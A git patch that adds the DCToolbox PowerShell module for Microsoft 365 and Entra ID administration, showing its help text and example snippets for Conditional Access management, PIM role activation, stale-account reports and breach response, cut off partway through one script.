From 404bee8c9b0025285d74a5fee0c52f62bcf646cc Mon Sep 17 00:00:00 2001 From: CoenZ-tijger <21057877@student.hhs.nl> Date: Thu, 30 Jan 2025 16:59:53 +0100 Subject: [PATCH 1/2] Add files via upload --- .../DCToolbox-main/DCToolbox/DCToolbox.psd1 | Bin 0 -> 11742 bytes .../DCToolbox-main/DCToolbox/DCToolbox.psm1 | 8124 +++++++++++++++++ CSTijgers/DCToolbox-main/README.md | 1336 +++ .../100_test_cases_with_deviceFilters.json | 2402 +++++ .../Script_Automatic_JSON_Testing.txt | 37 + .../Scripts&Testcases/Technical overview.docx | Bin 0 -> 1744704 bytes .../Test-PowerShellCommand-device.ps1 | 26 + .../Scripts&Testcases/test_cases_100.json | 1002 ++ .../conditional-access-design-version-14.json | 1186 +++ CSTijgers/README.md | 37 + 10 files changed, 14150 insertions(+) create mode 100644 CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psd1 create mode 100644 CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psm1 create mode 100644 CSTijgers/DCToolbox-main/README.md create mode 100644 CSTijgers/DCToolbox-main/Scripts&Testcases/100_test_cases_with_deviceFilters.json create mode 100644 CSTijgers/DCToolbox-main/Scripts&Testcases/Script_Automatic_JSON_Testing.txt create mode 100644 CSTijgers/DCToolbox-main/Scripts&Testcases/Technical overview.docx create mode 100644 CSTijgers/DCToolbox-main/Scripts&Testcases/Test-PowerShellCommand-device.ps1 create mode 100644 CSTijgers/DCToolbox-main/Scripts&Testcases/test_cases_100.json create mode 100644 CSTijgers/DCToolbox-main/conditional-access-design-version-14.json create mode 100644 CSTijgers/README.md diff --git a/CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psd1 b/CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psd1 new file mode 100644 index 0000000000000000000000000000000000000000..b117c29b1f8f84cc8cdb3aee0290782f068d8af2 GIT binary patch literal 11742 zcmeI2?Qa{$5ytm(f&34I^ubEeDDhj<6bKMTvTOl%qFQpAuM$Zqip7_Zv}Gg6zuxxw z?QpWY_eP1b+oC80@yNTq*_mganVp@xfBs`Td=mZ;wnHzx2-7eOZ^Bg=>DM@%hDo># z=lZn>OPx8_^?AIKkGmK4!(KSiwW;nr)91TzZza&XW@PLtB(7t zc}BW>FZ`r2Q;ofn9uti-30-m+jhqMJ3;jO|pXvBepAW*9+1*I^Cj1)D@V&SC!|vlS z(5#nX7Ofm>{)B>Ae5R`t={c9qAd`?z=~z0<^as|?jw5;HiTnU|rt6}>2*2&=jr2^y7n<(t z1vL34?1WDn{eLJ9_N2pN#muGT@*DR5q9e@2@0ZdC9y8l{JcD1|qY0@T^QYleF!_#3 z{b)En6iR=VE%)^~lr`}9fqs9XZ;!<2p}v2n|1WiBpl@GE7tWvS8^?$Ge5`90d$|tV z(!DP`(AN0e<>&m)@~*n(oN*>vwg4+UQ;p+ht&#^P5l_?ZZA5u^OI=G@-wCO)U`EQ4>$!o(Rf(m(j_!^;{;6bpjw`cf6W+TT-Ip)$M$(wv zGnb|?eICGhsK{*g&3+u0GNWgV#2wH*k8v`P<#zp4GZM4J%S>}jHH*cK=ln7cHb+g{ z+&Mbt%f9A0(k$1}qGS0524Xc)oK~ddmlx6ptENH$TkzRK#oS{Z!DS$eK+J47mwzWZ z--Z&>$P;7THI@W0oojqET7QqDVfMAgv}q2LF5*ZK#$RNi%lPd!C^q3z&DDnDW7*f1 zol_*0p1+wbWE`s=Hn)TP)nv=FmF%RUS<}qtkKw6*hjq;!yNiuY5wIJ+(|UU%qz}Y1 z%bnN4cOG8fnuFw?6Gft}jAQ{~!dXmgu*$QZ5(95F8#x1Jdxc5vWJHtK$$ez7*D=Cp z8buaMbpllk_2YYSI$z6R(Y~%NW$8$tbvr*i(r(8<^N#grHP@9aCc@w7coFTK>$}wz zwr1^U1$`b~#+;v!QGM`8`tG~Omxv-h9|A4G1!A=VwTHC)+|U%_`2 z{-j?&hQBDM^Q|x3hx-0#12n7rscY14)u%fbrFD-OfG5-u>Xh#`{-PrxeyyRmzjBhRK z@i99w_vRq_k-f}Zl^JqAhDYnUF}Gt8_wyy&*Ln3s8Fv=#YR2H5{C%}Tg8h~8yY%gK z%=@6RIX7L8O>8)b@j>T<2>j35k?XRFE!CK;$2{2-evvcDITl}e+;g?8`tqyP%XplA z2Uywt#^#s0uiC@-yy$40=z7VpYL;Q0cD<_BbjRdDTu;-k1UtStT{6}v#!}gXCzg9hp{H7(4$)9J5&1(&0eQMx)jP;>M84HW zo)IjA(|ckL>r1Ae`B~woAR4c76F4?;_p$cX*>+YF*dT;=hT{ zSo^+1#uLqO8f%Vbdyi!G3sv2)XVf7lXZDfiwJK(yySo^E9C=C|XIR72xguk!zu77i zzU$QgL|Vc2CSSR?i5&768HD)mvZG5LUi2MHUzutwsl-~lhjLUvI`PPLTZlzuJ$O15 zZq!CF^=b4SI=4%2^1pR$cz!?zz;au$ZD#LC-9;un4$Jnpk@8IT*lv!R`X&xs^8E zx0&*o`d+xvpR(1yYfdunaATf+tDG?sH(o2l(sLpXQ||5ZT(vG(kL8Q_j=;>~c@24~05W@c&&-b(b?( zi%z-2DbcL&ZrHE*4yV~4KZyVI*}Tr&)F=5asV=jw8Cu;7e{6Y{*B3+3iB)1#jsAD{ z!qh6==#(re(X9JoJxliWcEg@LMt-KVO%L1p+?(|&a<*(s?!KfBVjWjXuj|^)=I6qN zy4<@!Aa$i*)Mx&V41D4pjDgk}d!9jGgPsSOxvjHO)i~ezrdc=BF7MmjU9$sOLVmre zR`j$kRlTwf(r@9t4fZGQSu`To`)}{^RL_o#zt^`I9mBrcLf+y7SfQzhnu&Sfd!}GOd%9o@lY&R-faSkym1ywDUevioE)p zUOuL@%NW)^+V9#HA}7-PB6{vrjJNKE^*ommMLb#WAv*R%I()D<6nJi#Vx;svND{xc z2eNn0%rAI}Tt$`NlP(sI>JyrPSZr;zzI%R0k9x%(wX45_iEcbv2G?}Jjr_%aW#bQ zHLR?+)0L<*FT(LNY3$Fz>srq=^ECV%{jsb($F9z5J#-&i>P)=SU0Uc3$^_#Av7x71yG%d>fRnN=llk3zb zC10gdCS5NNjl7?KD9vE6#pmJgIyT2&u2qv1VjLN5xNr|UJ>JP;r%7F6>|w=!r(YgP z@Qd!HJ!QdzBVG4ygyrmY&wj|;-^VT#PgU$4Hsd9kX4t6*D;u%S6ZNtWlGiys?d*wO XEJFX1-F0ipsL87Q&N^nlMGpK6hHDjw literal 0 HcmV?d00001 diff --git a/CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psm1 b/CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psm1 new file mode 100644 index 0000000..addf3f2 --- /dev/null +++ b/CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psm1 @@ -0,0 +1,8124 @@ +function Get-DCHelp { + $DCToolboxVersion = '2.0.21' + + + $HelpText = @" + + ____ ____________ ____ + / __ \/ ____/_ __/___ ____ / / /_ ____ _ _ + / / / / / / / / __ \/ __ \/ / __ \/ __ \| |/_/ + / /_/ / /___ / / / /_/ / /_/ / / /_/ / /_/ /> < +/_____/\____/ /_/ \____/\____/_/_.___/\____/_/|_| + +A PowerShell toolbox for Microsoft 365 security fans. + +--------------------------------------------------- + +Author: Daniel Chronlund +Version: $DCToolboxVersion + +This PowerShell module contains a collection of tools for Microsoft 365 security tasks, Microsoft Graph functions, Entra ID management, Conditional Access, zero trust strategies, attack and defense scenarios, and more. + +The home of this module: https://github.com/DanielChronlund/DCToolbox + +Please follow me on my blog https://danielchronlund.com, on LinkedIn and on X! + +@DanielChronlund + + +To get started, explore and copy script examples to your clipboard with: + +"@ + + Write-Host -ForegroundColor "Yellow" $HelpText + Write-Host -ForegroundColor "Cyan" "Copy-DCExample" + Write-Host "" + Write-Host -ForegroundColor "Yellow" "List all available tools:" + Write-Host "" + Write-Host -ForegroundColor "Magenta" "Get-Command -Module DCToolbox" + Write-Host "" +} + + + +function Copy-DCExample { + function CreateMenu { + param + ( + [parameter(Mandatory = $true)] + [string]$MenuTitle, + [parameter(Mandatory = $true)] + [string[]]$MenuChoices + ) + + # Create a counter. + $Counter = 1 + + # Write menu title. + Write-Host -ForegroundColor "Yellow" "*** $MenuTitle ***" + Write-Host -ForegroundColor "Yellow" "" + + # Generate the menu choices. + foreach ($MenuChoice in $MenuChoices) { + Write-Host -ForegroundColor "Yellow" "[$Counter] $MenuChoice" + + # Add to counter. + $Counter = $Counter + 1 + } + + # Write empty line. + Write-Host -ForegroundColor "Yellow" "" + + # Write exit line. + Write-Host -ForegroundColor "Yellow" "[0] Quit" + + # Write empty line. + Write-Host -ForegroundColor "Yellow" "" + + # Prompt user for input. + $prompt = "Choice" + Read-Host $prompt + + # Return users choice. + return $prompt + } + + + # Function for handling the menu choice. + function HandleMenuChoice { + param + ( + [parameter(Mandatory = $true)] + [string[]]$MenuChoice + ) + + # Menu choices. + switch ($MenuChoice) { + 1 { + $Snippet = @' +# Microsoft Graph with PowerShell examples. + + +# *** Connect Examples *** + +# Connect to Microsoft Graph with delegated permissions. +$AccessToken = Invoke-DCEntraIDDeviceAuthFlow -ReturnAccessTokenInsteadOfRefreshToken + + +# Connect to Microsoft Graph with application permissions. +$Parameters = @{ + TenantName = 'example.onmicrosoft.com' + ClientID = '' + ClientSecret = '' +} + +$AccessToken = Connect-DCMsGraphAsApplication @Parameters + + +# *** Microsoft Graph Query Examples *** + +# GET data from Microsoft Graph. +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = 'https://graph.microsoft.com/v1.0/users' +} + +Invoke-DCMsGraphQuery @Parameters + + +# POST changes to Microsoft Graph. +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'POST' + GraphUri = 'https://graph.microsoft.com/v1.0/users' + GraphBody = @" + +"@ +} + +Invoke-DCMsGraphQuery @Parameters + + +# PUT changes to Microsoft Graph. +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'PUT' + GraphUri = 'https://graph.microsoft.com/v1.0/users' + GraphBody = @" + +"@ +} + +Invoke-DCMsGraphQuery @Parameters + + +# PATCH changes to Microsoft Graph. +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'PATCH' + GraphUri = 'https://graph.microsoft.com/v1.0/users' + GraphBody = @" + +"@ +} + +Invoke-DCMsGraphQuery @Parameters + + +# DELETE data from Microsoft Graph. +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'DELETE' + GraphUri = 'https://graph.microsoft.com/v1.0/users' +} + +Invoke-DCMsGraphQuery @Parameters + + +<# + Filter examples: + /users?$filter=startswith(givenName,'J') + /users?$filter=givenName eq 'Test' +#> + + +# Learn more about the Graph commands. +help Connect-DCMsGraphAsDelegated -Full +help Connect-DCMsGraphAsApplication -Full +help Invoke-DCMsGraphQuery -Full + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 2 { + $Snippet = @' +# Manage Conditional Access as code. + +<# +The user running this (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). +#> + +# OPTIONAL: To get another Global Admin to pre-consent to ALL required permissions for ALL Conditional Access tools in DCToolbox, ask them to run the following code in PowerShell (and make sure they Consent these permissions on behalf of the whole organisation). + +Install-Module Microsoft.Graph -Scope CurrentUser -Force + +$Scopes = 'Group.ReadWrite.All', +'Policy.ReadWrite.ConditionalAccess', +'Policy.Read.All', 'Directory.Read.All', +'Agreement.ReadWrite.All', +'Application.Read.All', +'RoleManagement.ReadWrite.Directory' + +Connect-MgGraph -Scopes $Scopes + + + +# --- Show Conditional Access Policies --- + +# Show basic info about Conditional Access policies in the tenant. +Get-DCConditionalAccessPolicies + +# Show policy names only. +Get-DCConditionalAccessPolicies -NamesOnly + +# Show Conditional Access policies in the tenant with targeted users and groups. +Get-DCConditionalAccessPolicies -ShowTargetResources -PrefixFilter 'GLOBAL - GRANT - MFA for All Users' + +# Show detailed info about Conditional Access policies in the tenant. +Get-DCConditionalAccessPolicies -Details -PrefixFilter 'GLOBAL - GRANT - MFA for All Users' + +# Show Named Locations in the tenant. +Get-DCNamedLocations + +# Filter Named Locations with a prefix. +Get-DCNamedLocations -PrefixFilter 'OFFICE-' + +# List all trusted IP addresses in Named Locations. +(Get-DCNamedLocations | where isTrusted -eq $true).ipRanges | Select-Object -Unique | Sort-Object + +# List all countries in Named Locations. +(Get-DCNamedLocations).countriesAndRegions | Select-Object -Unique | Sort-Object + + +# --- Rename Conditional Access Policies --- + +# Rename Conditional Access policies. +Rename-DCConditionalAccessPolicies -PrefixFilter 'PILOT - ' -AddCustomPrefix 'PROD - ' + +# Add a prefix to specific Conditional Access policies. +Rename-DCConditionalAccessPolicies -PrefixFilter 'GLOBAL - ' -AddCustomPrefix 'OLD - GLOBAL - ' + +# Add a prefix to ALL existing Conditional Access policies. +Rename-DCConditionalAccessPolicies -AddCustomPrefix 'OLD - ' + + +# --- Delete Conditional Access Policies --- + +# Delete ALL Conditional Access policies. +Remove-DCConditionalAccessPolicies + +# Delete all Conditional Access policies with a specific prefix. +Remove-DCConditionalAccessPolicies -PrefixFilter 'OLD - ' + +# Delete all Conditional Access policies WITHOUT a specific prefix (like -PrefixFilter but reversed). +Remove-DCConditionalAccessPolicies -ReversedPrefixFilter 'GLOBAL - ' + + +# --- Deploy Conditional Access Baseline PoC --- + +# Deploy a complete Conditional Access PoC in report-only mode from https://danielchronlund.com. +Deploy-DCConditionalAccessBaselinePoC + +# Deploy a complete Conditional Access PoC in production mode from https://danielchronlund.com (Dangerous). +Deploy-DCConditionalAccessBaselinePoC -SkipReportOnlyMode + +# Deploy a complete Conditional Access PoC in report-only mode with a PILOT prefix. +Deploy-DCConditionalAccessBaselinePoC -AddCustomPrefix 'PILOT - ' + + +# --- Bulk Manage Conditional Access Policies --- + +# Toggle Conditional Access policies between 'All users' and specified pilot group. +Set-DCConditionalAccessPoliciesPilotMode -PrefixFilter 'GLOBAL - ' -PilotGroupName 'Conditional Access Pilot' -EnablePilot + +# Toggle Conditional Access policies between specified pilot group and 'All users'. +Set-DCConditionalAccessPoliciesPilotMode -PrefixFilter 'GLOBAL - ' -PilotGroupName 'Conditional Access Pilot' -EnableProduction + +# Toggle specified Conditional Access policies between 'Enabled' and 'Report-only'. +Set-DCConditionalAccessPoliciesReportOnlyMode -PrefixFilter 'GLOBAL - ' -SetToReportOnly + +# Toggle specified Conditional Access policies between 'Report-only' and 'Enabled'. +Set-DCConditionalAccessPoliciesReportOnlyMode -PrefixFilter 'GLOBAL - ' -SetToEnabled + +# Exclude specified break glass group from all Conditional Access policies. +Add-DCConditionalAccessPoliciesBreakGlassGroup -PrefixFilter 'GLOBAL - ' -ExcludeGroupName 'Excluded from Conditional Access' + + +# --- Export/Import Conditional Access Policies (JSON file) --- + +# Export your Conditional Access policies to a JSON file for backup (default file name). +Export-DCConditionalAccessPolicyDesign + +# Export your Conditional Access policies to a JSON file for backup (custom file name). +Export-DCConditionalAccessPolicyDesign -FilePath 'C:\Temp\Conditional Access Backup.json' + +# Export Conditional Access policies with a specifc prefix. +$Parameters = @{ + FilePath = 'Conditional Access.json' + PrefixFilter = 'GLOBAL - ' +} +Export-DCConditionalAccessPolicyDesign @Parameters + +# Import Conditional Access policies from a JSON file exported by Export-DCConditionalAccessPolicyDesign. +$Parameters = @{ + FilePath = 'C:\Temp\Conditional Access Backup.json' + SkipReportOnlyMode = $false + DeleteAllExistingPolicies = $false +} + +Import-DCConditionalAccessPolicyDesign @Parameters + +# Import Conditional Access policies and add a custom prefix. +$Parameters = @{ + FilePath = 'C:\Temp\Conditional Access Backup.json' + SkipReportOnlyMode = $false + DeleteAllExistingPolicies = $false + AddCustomPrefix = 'TEST - ' +} + +Import-DCConditionalAccessPolicyDesign @Parameters + + +# --- Generate Conditional Access Excel Reports --- + +# Export Conditional Access policy design report to Excel. +New-DCConditionalAccessPolicyDesignReport + +# Export Conditional Access Assignment Report to Excel. +$Parameters = @{ + IncludeGroupMembers = $false +} + +New-DCConditionalAccessAssignmentReport @Parameters + + +# --- Conditional Access What If Simulation --- + +# Run basic evaluation with default settings. +Invoke-DCConditionalAccessSimulation | Format-List + + +# Run evaluation with custom settings. +$Parameters = @{ + UserPrincipalName = 'user@example.com' + ApplicationDisplayName = 'Office 365' + ClientApp = 'mobileAppsAndDesktopClients' + TrustedIPAddress = $true + Country = 'US' + Platform = 'windows' + SignInRiskLevel = 'medium' + UserRiskLevel = 'high' + SummarizedOutput = $true + VerbosePolicyEvaluation = $false + IncludeNonMatchingPolicies = $false +} + +Invoke-DCConditionalAccessSimulation @Parameters + +# --- Conditional Access Simulation with Device Parameters --- + +# Basis evaluatie met standaardinstellingen. +Invoke-DCConditionalAccessSimulationWithDevices | Format-List + +# Evaluatie met aangepaste instellingen, inclusief apparaat-specifieke parameters. +$Parameters = @{ + UserPrincipalName = 'user@example.com' + ApplicationDisplayName = 'Office 365' + ClientApp = 'mobileAppsAndDesktopClients' + TrustedIPAddress = $true + Country = 'US' + Platform = 'windows' + SignInRiskLevel = 'medium' + UserRiskLevel = 'high' + SummarizedOutput = $true + VerbosePolicyEvaluation = $false + IncludeNonMatchingPolicies = $false + DeviceID = 'device123' + DeviceOwnership = 'personal' + MdmAppId = 'app123' +} + +Invoke-DCConditionalAccessSimulationWithDevices @Parameters + +# Run basic evaluation offline against a JSON of Conditional Access policies. +Invoke-DCConditionalAccessSimulation -JSONFile 'Conditional Access Backup.json' | Format-List + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 3 { + $Snippet = @' +# Install required modules (if you are local admin) (only needed first time). +Install-Module -Name DCToolbox -Force +Install-Package msal.ps -Force + +# Install required modules as current user (if you're not local admin) (only needed first time). +Install-Module -Name DCToolbox -Scope CurrentUser -Force +Install-Package msal.ps -Scope CurrentUser -Force + +# Enable one of your Entra ID PIM roles. +Enable-DCEntraIDPIMRole + +# Enable multiple Entra ID PIM roles. +Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' + +# Fully automate Entra ID PIM role activation. +Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' -UseMaximumTimeAllowed -Reason 'Performing some Exchange security coniguration according to change #12345.' + +<# + Example output: + + VERBOSE: Connecting to Entra ID... + + *** Activate PIM Role *** + + [1] User Account Administrator + [2] Application Administrator + [3] Security Administrator + [0] Exit + + Choice: 3 + Reason: Need to do some security work! + Duration [1 hour(s)]: 1 + VERBOSE: Activating PIM role... + VERBOSE: Security Administrator has been activated until 11/13/2020 11:41:01! +#> + + +# Learn more about Enable-DCEntraIDPIMRole. +help Enable-DCEntraIDPIMRole -Full + +# Privileged Identity Management | My roles: +# https://portal.azure.com/#blade/Microsoft_Azure_PIMCommon/ActivationMenuBlade/aadmigratedroles + +# Privileged Identity Management | Entra ID roles | Overview: +# https://portal.azure.com/#blade/Microsoft_Azure_PIMCommon/ResourceMenuBlade/aadoverview/resourceId//resourceType/tenant/provider/aadroles + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 4 { + $Snippet = @' +# Learn how to set this up. +Get-Help New-DCStaleAccountReport -Full + + +# Export stale Entra ID account report to Excel. +$Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 30 +} + +New-DCStaleAccountReport @Parameters + + +# Export stale GUEST Entra ID account report to Excel. +$Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 60 + OnlyGuests = $true +} + +New-DCStaleAccountReport @Parameters + + +# Export stale MEMBER Entra ID account report to Excel. +$Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 60 + OnlyMembers = $true +} + +New-DCStaleAccountReport @Parameters + + +# Export stale GUEST Entra ID account report with group/team membership to Excel. +$Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 60 + OnlyGuests = $true + IncludeMemberOf = $true +} + +New-DCStaleAccountReport @Parameters + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 5 { + $Snippet = @' +### Clean up phone authentication methods for all Entra ID users ### + +<# + Set the registered applications ClientID and ClientSecret further down. This script requires the following Microsoft Graph permissions: + Delegated: + UserAuthenticationMethod.ReadWrite.All + Reports.Read.All + + It also requires the DCToolbox PowerShell module: + Install-Module -Name DCToolbox -Force + + Note that this script cannot delete a users phone method if it is set as the default authentication method. Microsoft Graph cannot, as of 7/10 2021, manage the default authentication method for users in Entra ID. Hopefully the users method of choice was changed when he/she switched to the Microsoft Authenticator app or another MFA/passwordless authentication method. If not, ask them to change the default method before running the script. + + Use the following report to understand how many users are registered for phone authentication (can lag up to 48 hours): https://portal.azure.com/#blade/Microsoft_AAD_IAM/AuthenticationMethodsMenuBlade/AuthMethodsActivity +#> + + +# Connect to Microsoft Graph with delegated permissions. +Write-Verbose -Verbose -Message 'Connecting to Microsoft Graph...' +$Parameters = @{ + ClientID = '' + ClientSecret = '' +} + +$AccessToken = Connect-DCMsGraphAsDelegated @Parameters + + +# Fetch all users with phone authentication enabled from the Entra ID authentication usage report (we're using this usage report to save time and resources when querying Graph, but their might be a 24 hour delay in the report data). +Write-Verbose -Verbose -Message 'Fetching all users with any phone authentication methods registered...' +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/beta/reports/credentialUserRegistrationDetails?`$filter=authMethods/any(t:t eq microsoft.graph.registrationAuthMethod'mobilePhone') or authMethods/any(t:t eq microsoft.graph.registrationAuthMethod'officePhone')" +} + +$AllUsersWithPhoneAuthentication = Invoke-DCMsGraphQuery @Parameters + + +# Output the number of users found. +Write-Verbose -Verbose -Message "Found $($AllUsersWithPhoneAuthentication.Count) users!" + + +# Loop through all those users. +$ProgressCounter = 0 +foreach ($User in $AllUsersWithPhoneAuthentication) { + # Show progress bar. + $ProgressCounter += 1 + [int]$PercentComplete = ($ProgressCounter / $AllUsersWithPhoneAuthentication.Count) * 100 + Write-Progress -PercentComplete $PercentComplete -Activity "Processing user $ProgressCounter of $($AllUsersWithPhoneAuthentication.Count)" -Status "$PercentComplete% Complete" + + # Retrieve a list of registered phone authentication methods for the user. This will return up to three objects, as a user can have up to three phones usable for authentication. + Write-Verbose -Verbose -Message "Fetching phone methods for $($User.userPrincipalName)..." + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/beta/users/$($User.userPrincipalName)/authentication/phoneMethods" + } + + $phoneMethods = Invoke-DCMsGraphQuery @Parameters + + <# + The value of id corresponding to the phoneType to delete is one of the following: + + b6332ec1-7057-4abe-9331-3d72feddfe41 to delete the alternateMobile phoneType. + e37fc753-ff3b-4958-9484-eaa9425c82bc to delete the office phoneType. + 3179e48a-750b-4051-897c-87b9720928f7 to delete the mobile phoneType. + #> + + # Loop through all user phone methods. + foreach ($phoneMethod in $phoneMethods) { + # Delete the phone method. + try { + if ($phoneMethod.phoneType) { + Write-Verbose -Verbose -Message "Deleting phone method '$($phoneMethod.phoneType)' for $($User.userPrincipalName)..." + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'DELETE' + GraphUri = "https://graph.microsoft.com/beta/users/$($User.userPrincipalName)/authentication/phoneMethods/$($phoneMethod.id)" + } + + Invoke-DCMsGraphQuery @Parameters | Out-Null + } + } + catch { + Write-Warning -Message "Could not delete phone method '$($phoneMethod.phoneType)' for $($User.userPrincipalName)! Is it the users default authentication method?" + } + } +} + + +break + +# BONUS SCRIPT: LIST ALL GUEST USERS WITH SMS AS A REGISTERED AUTHENTICATION METHOD. + +# First, create app registration and grant it: +# User.Read.All +# UserAuthenticationMethod.Read.All +# Reports.Read.All + + +# Connect to Microsoft Graph with delegated permissions. +Write-Verbose -Verbose -Message 'Connecting to Microsoft Graph...' +$Parameters = @{ + ClientID = '' + ClientSecret = '' +} + +$AccessToken = Connect-DCMsGraphAsDelegated @Parameters + + +# Fetch user authentication methods. +Write-Verbose -Verbose -Message 'Fetching all users with any phone authentication methods registered...' +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/beta/reports/credentialUserRegistrationDetails?`$filter=authMethods/any(t:t eq microsoft.graph.registrationAuthMethod'mobilePhone') or authMethods/any(t:t eq microsoft.graph.registrationAuthMethod'officePhone')" +} + +$AllUsersWithPhoneAuthentication = Invoke-DCMsGraphQuery @Parameters + + +# Fetch all guest users. +Write-Verbose -Verbose -Message 'Fetching all guest users...' +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/beta/users?`$filter=userType eq 'Guest'" +} + +$AllGuestUsers = Invoke-DCMsGraphQuery @Parameters + + +# Check how many users who have an authentication phone number registered. +foreach ($Guest in $AllGuestUsers) { + if ($AllUsersWithPhoneAuthentication.userPrincipalName.Contains($Guest.UserPrincipalName)) { + Write-Output "$($Guest.displayName) ($($Guest.mail))" + } +} + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 6 { + $Snippet = @' +<# + .SYNOPSIS + A simple script template. + + .DESCRIPTION + Write a description of what the script does and how to use it. + + .PARAMETER Parameter1 + Inputs a string into the script. + + .PARAMETER Parameter2 + Inputs an integer into the script. + + .PARAMETER Parameter3 + Sets a script switch. + + .INPUTS + None + + .OUTPUTS + System.String + + .NOTES + Version: 1.0 + Author: Daniel Chronlund + Creation Date: 2021-01-01 + + .EXAMPLE + Script-Template -Parameter "Text" -Verbose + + .EXAMPLE + Script-Template -Parameter "Text" -Verbose +#> + + + +# ----- [Initialisations] ----- + +# Script parameters. +param ( + [parameter(Mandatory = $true)] + [string]$Parameter1 = "Text", + + [parameter(Mandatory = $true)] + [int32]$Parameter2 = 1, + + [parameter(Mandatory = $false)] + [switch]$Parameter3 +) + + +# Set Error Action - Possible choices: Stop, SilentlyContinue +$ErrorActionPreference = "Stop" + + + +# ----- [Declarations] ----- + +# Variable 1 description. +$Variable1 = "" + +# Variable 2 description. +$Variable2 = "" + + + +# ----- [Functions] ----- + +function function1 +{ + <# + .SYNOPSIS + A brief description of the function1 function. + + .DESCRIPTION + A detailed description of the function1 function. + + .PARAMETER Parameter1 + A description of the Parameter1 parameter. + + .EXAMPLE + function1 -Parameter1 'Value1' + #> + + + param ( + [parameter(Mandatory = $true)] + [string]$Parameter1 + ) + + + $Output = $Parameter1 + + $Output +} + + + +# ----- [Execution] ----- + +# Do the following. +function1 -Parameter1 'Test' + + + +# ----- [End] ----- + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 7 { + $Snippet = @' +# README: This script is an example of what you might want to/need to do if your Entra ID has been breached. This script was created in the spirit of the zero trust assume breach methodology. The idea is that if you detect that attackers are already on the inside, then you must try to kick them out. This requires multiple steps and you also must handle other resources like your on-prem AD. However, this script example helps you in the right direction when it comes to Entra ID admin roles. + +# More info on my blog: https://danielchronlund.com/2021/03/29/my-azure-ad-has-been-breached-what-now/ + +break + + + +# *** Connect to Entra ID *** +Import-Module AzureAdPreview +Connect-AzureAd + + + +# *** Interesting Entra ID roles to inspect *** +$InterestingDirectoryRoles = 'Global Administrator', +'Global Reader', +'Privileged Role Administrator', +'Security Administrator', +'Application Administrator', +'Compliance Administrator' + + + +# *** Inspect current Entra ID admins (if you use Entra ID PIM) *** + +# Fetch tenant ID. +$TenantID = (Get-AzureAdTenantDetail).ObjectId + +# Fetch all Entra ID role definitions. +$EntraIDRoleDefinitions = Get-AzureAdMSPrivilegedRoleDefinition -ProviderId "aadRoles" -ResourceId $TenantID | Where-Object { $_.DisplayName -in $InterestingDirectoryRoles } + +# Fetch all Entra ID PIM role assignments. +$EntraIDDirectoryRoleAssignments = Get-AzureAdMSPrivilegedRoleAssignment -ProviderId "aadRoles" -ResourceId $TenantID | Where-Object { $_.RoleDefinitionId -in $EntraIDRoleDefinitions.Id } + +# Fetch Entra ID role members for each role and format as custom object. +$EntraIDDirectoryRoleMembers = foreach ($EntraIDDirectoryRoleAssignment in $EntraIDDirectoryRoleAssignments) { + $UserAccountDetails = Get-AzureAdUser -ObjectId $EntraIDDirectoryRoleAssignment.SubjectId + + $LastLogon = (Get-AzureAdAuditSigninLogs -top 1 -filter "UserId eq '$($EntraIDDirectoryRoleAssignment.SubjectId)'" | Select-Object CreatedDateTime).CreatedDateTime + + if ($LastLogon) { + $LastLogon = [System.TimeZoneInfo]::ConvertTimeBySystemTimeZoneId((Get-Date -Date $LastLogon), (Get-TimeZone).Id) + } + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "EntraIDDirectoryRole" -Value ($EntraIDRoleDefinitions | Where-Object { $_.Id -eq $EntraIDDirectoryRoleAssignment.RoleDefinitionId }).DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserID" -Value $UserAccountDetails.ObjectID + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserAccount" -Value 